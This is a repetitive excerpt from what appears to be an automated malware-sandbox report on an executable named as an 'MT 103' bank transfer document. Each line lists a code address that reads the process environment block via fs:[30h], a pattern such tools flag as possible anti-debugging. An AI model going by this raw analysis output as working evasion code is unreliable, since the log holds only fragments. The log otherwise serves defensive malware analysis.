          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01330274 mov eax, dword ptr fs:[00000030h]4_2_01330274
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284260 mov eax, dword ptr fs:[00000030h]4_2_01284260
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284260 mov eax, dword ptr fs:[00000030h]4_2_01284260
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284260 mov eax, dword ptr fs:[00000030h]4_2_01284260
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127826B mov eax, dword ptr fs:[00000030h]4_2_0127826B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133A250 mov eax, dword ptr fs:[00000030h]4_2_0133A250
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133A250 mov eax, dword ptr fs:[00000030h]4_2_0133A250
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0135625D mov eax, dword ptr fs:[00000030h]4_2_0135625D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01286259 mov eax, dword ptr fs:[00000030h]4_2_01286259
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01308243 mov eax, dword ptr fs:[00000030h]4_2_01308243
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01308243 mov ecx, dword ptr fs:[00000030h]4_2_01308243
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127A250 mov eax, dword ptr fs:[00000030h]4_2_0127A250
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012902A0 mov eax, dword ptr fs:[00000030h]4_2_012902A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012902A0 mov eax, dword ptr fs:[00000030h]4_2_012902A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov eax, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov ecx, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov eax, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov eax, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov eax, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013162A0 mov eax, dword ptr fs:[00000030h]4_2_013162A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE284 mov eax, dword ptr fs:[00000030h]4_2_012BE284
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE284 mov eax, dword ptr fs:[00000030h]4_2_012BE284
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01300283 mov eax, dword ptr fs:[00000030h]4_2_01300283
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01300283 mov eax, dword ptr fs:[00000030h]4_2_01300283
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01300283 mov eax, dword ptr fs:[00000030h]4_2_01300283
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012902E1 mov eax, dword ptr fs:[00000030h]4_2_012902E1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012902E1 mov eax, dword ptr fs:[00000030h]4_2_012902E1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012902E1 mov eax, dword ptr fs:[00000030h]4_2_012902E1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013562D6 mov eax, dword ptr fs:[00000030h]4_2_013562D6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A2C3 mov eax, dword ptr fs:[00000030h]4_2_0128A2C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A2C3 mov eax, dword ptr fs:[00000030h]4_2_0128A2C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A2C3 mov eax, dword ptr fs:[00000030h]4_2_0128A2C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A2C3 mov eax, dword ptr fs:[00000030h]4_2_0128A2C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128A2C3 mov eax, dword ptr fs:[00000030h]4_2_0128A2C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE53E mov eax, dword ptr fs:[00000030h]4_2_012AE53E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE53E mov eax, dword ptr fs:[00000030h]4_2_012AE53E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE53E mov eax, dword ptr fs:[00000030h]4_2_012AE53E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE53E mov eax, dword ptr fs:[00000030h]4_2_012AE53E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE53E mov eax, dword ptr fs:[00000030h]4_2_012AE53E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290535 mov eax, dword ptr fs:[00000030h]4_2_01290535
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01316500 mov eax, dword ptr fs:[00000030h]4_2_01316500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01354500 mov eax, dword ptr fs:[00000030h]4_2_01354500
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B656A mov eax, dword ptr fs:[00000030h]4_2_012B656A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B656A mov eax, dword ptr fs:[00000030h]4_2_012B656A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B656A mov eax, dword ptr fs:[00000030h]4_2_012B656A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288550 mov eax, dword ptr fs:[00000030h]4_2_01288550
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288550 mov eax, dword ptr fs:[00000030h]4_2_01288550
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013005A7 mov eax, dword ptr fs:[00000030h]4_2_013005A7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013005A7 mov eax, dword ptr fs:[00000030h]4_2_013005A7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013005A7 mov eax, dword ptr fs:[00000030h]4_2_013005A7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A45B1 mov eax, dword ptr fs:[00000030h]4_2_012A45B1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A45B1 mov eax, dword ptr fs:[00000030h]4_2_012A45B1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B4588 mov eax, dword ptr fs:[00000030h]4_2_012B4588
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01282582 mov eax, dword ptr fs:[00000030h]4_2_01282582
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01282582 mov ecx, dword ptr fs:[00000030h]4_2_01282582
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE59C mov eax, dword ptr fs:[00000030h]4_2_012BE59C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC5ED mov eax, dword ptr fs:[00000030h]4_2_012BC5ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC5ED mov eax, dword ptr fs:[00000030h]4_2_012BC5ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012825E0 mov eax, dword ptr fs:[00000030h]4_2_012825E0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AE5E7 mov eax, dword ptr fs:[00000030h]4_2_012AE5E7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE5CF mov eax, dword ptr fs:[00000030h]4_2_012BE5CF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE5CF mov eax, dword ptr fs:[00000030h]4_2_012BE5CF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012865D0 mov eax, dword ptr fs:[00000030h]4_2_012865D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA5D0 mov eax, dword ptr fs:[00000030h]4_2_012BA5D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA5D0 mov eax, dword ptr fs:[00000030h]4_2_012BA5D0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127C427 mov eax, dword ptr fs:[00000030h]4_2_0127C427
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E420 mov eax, dword ptr fs:[00000030h]4_2_0127E420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E420 mov eax, dword ptr fs:[00000030h]4_2_0127E420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127E420 mov eax, dword ptr fs:[00000030h]4_2_0127E420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01306420 mov eax, dword ptr fs:[00000030h]4_2_01306420
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA430 mov eax, dword ptr fs:[00000030h]4_2_012BA430
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B8402 mov eax, dword ptr fs:[00000030h]4_2_012B8402
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B8402 mov eax, dword ptr fs:[00000030h]4_2_012B8402
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B8402 mov eax, dword ptr fs:[00000030h]4_2_012B8402
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130C460 mov ecx, dword ptr fs:[00000030h]4_2_0130C460
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AA470 mov eax, dword ptr fs:[00000030h]4_2_012AA470
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AA470 mov eax, dword ptr fs:[00000030h]4_2_012AA470
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012AA470 mov eax, dword ptr fs:[00000030h]4_2_012AA470
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133A456 mov eax, dword ptr fs:[00000030h]4_2_0133A456
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BE443 mov eax, dword ptr fs:[00000030h]4_2_012BE443
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A245A mov eax, dword ptr fs:[00000030h]4_2_012A245A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0127645D mov eax, dword ptr fs:[00000030h]4_2_0127645D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130A4B0 mov eax, dword ptr fs:[00000030h]4_2_0130A4B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012864AB mov eax, dword ptr fs:[00000030h]4_2_012864AB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B44B0 mov ecx, dword ptr fs:[00000030h]4_2_012B44B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0133A49A mov eax, dword ptr fs:[00000030h]4_2_0133A49A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012804E5 mov ecx, dword ptr fs:[00000030h]4_2_012804E5
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC720 mov eax, dword ptr fs:[00000030h]4_2_012BC720
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC720 mov eax, dword ptr fs:[00000030h]4_2_012BC720
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B273C mov eax, dword ptr fs:[00000030h]4_2_012B273C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B273C mov ecx, dword ptr fs:[00000030h]4_2_012B273C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B273C mov eax, dword ptr fs:[00000030h]4_2_012B273C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FC730 mov eax, dword ptr fs:[00000030h]4_2_012FC730
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC700 mov eax, dword ptr fs:[00000030h]4_2_012BC700
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280710 mov eax, dword ptr fs:[00000030h]4_2_01280710
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B0710 mov eax, dword ptr fs:[00000030h]4_2_012B0710
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01288770 mov eax, dword ptr fs:[00000030h]4_2_01288770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01290770 mov eax, dword ptr fs:[00000030h]4_2_01290770
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01304755 mov eax, dword ptr fs:[00000030h]4_2_01304755
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B674D mov esi, dword ptr fs:[00000030h]4_2_012B674D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B674D mov eax, dword ptr fs:[00000030h]4_2_012B674D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B674D mov eax, dword ptr fs:[00000030h]4_2_012B674D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130E75D mov eax, dword ptr fs:[00000030h]4_2_0130E75D
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01280750 mov eax, dword ptr fs:[00000030h]4_2_01280750
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2750 mov eax, dword ptr fs:[00000030h]4_2_012C2750
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2750 mov eax, dword ptr fs:[00000030h]4_2_012C2750
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012807AF mov eax, dword ptr fs:[00000030h]4_2_012807AF
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013347A0 mov eax, dword ptr fs:[00000030h]4_2_013347A0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0132678E mov eax, dword ptr fs:[00000030h]4_2_0132678E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A27ED mov eax, dword ptr fs:[00000030h]4_2_012A27ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A27ED mov eax, dword ptr fs:[00000030h]4_2_012A27ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012A27ED mov eax, dword ptr fs:[00000030h]4_2_012A27ED
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130E7E1 mov eax, dword ptr fs:[00000030h]4_2_0130E7E1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012847FB mov eax, dword ptr fs:[00000030h]4_2_012847FB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012847FB mov eax, dword ptr fs:[00000030h]4_2_012847FB
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128C7C0 mov eax, dword ptr fs:[00000030h]4_2_0128C7C0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013007C3 mov eax, dword ptr fs:[00000030h]4_2_013007C3
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0128262C mov eax, dword ptr fs:[00000030h]4_2_0128262C
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B6620 mov eax, dword ptr fs:[00000030h]4_2_012B6620
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B8620 mov eax, dword ptr fs:[00000030h]4_2_012B8620
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129E627 mov eax, dword ptr fs:[00000030h]4_2_0129E627
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129260B mov eax, dword ptr fs:[00000030h]4_2_0129260B
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE609 mov eax, dword ptr fs:[00000030h]4_2_012FE609
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012C2619 mov eax, dword ptr fs:[00000030h]4_2_012C2619
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA660 mov eax, dword ptr fs:[00000030h]4_2_012BA660
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA660 mov eax, dword ptr fs:[00000030h]4_2_012BA660
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134866E mov eax, dword ptr fs:[00000030h]4_2_0134866E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0134866E mov eax, dword ptr fs:[00000030h]4_2_0134866E
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B2674 mov eax, dword ptr fs:[00000030h]4_2_012B2674
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0129C640 mov eax, dword ptr fs:[00000030h]4_2_0129C640
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BC6A6 mov eax, dword ptr fs:[00000030h]4_2_012BC6A6
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012B66B0 mov eax, dword ptr fs:[00000030h]4_2_012B66B0
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284690 mov eax, dword ptr fs:[00000030h]4_2_01284690
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_01284690 mov eax, dword ptr fs:[00000030h]4_2_01284690
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013006F1 mov eax, dword ptr fs:[00000030h]4_2_013006F1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_013006F1 mov eax, dword ptr fs:[00000030h]4_2_013006F1
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE6F2 mov eax, dword ptr fs:[00000030h]4_2_012FE6F2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE6F2 mov eax, dword ptr fs:[00000030h]4_2_012FE6F2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE6F2 mov eax, dword ptr fs:[00000030h]4_2_012FE6F2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012FE6F2 mov eax, dword ptr fs:[00000030h]4_2_012FE6F2
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA6C7 mov ebx, dword ptr fs:[00000030h]4_2_012BA6C7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_012BA6C7 mov eax, dword ptr fs:[00000030h]4_2_012BA6C7
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0130892A mov eax, dword ptr fs:[00000030h]4_2_0130892A
          Source: C:\Users\user\Desktop\hbwebdownload - MT 103.exeCode function: 4_2_0131892B mov eax, dword ptr fs:[00000030h]4_2_0131892B
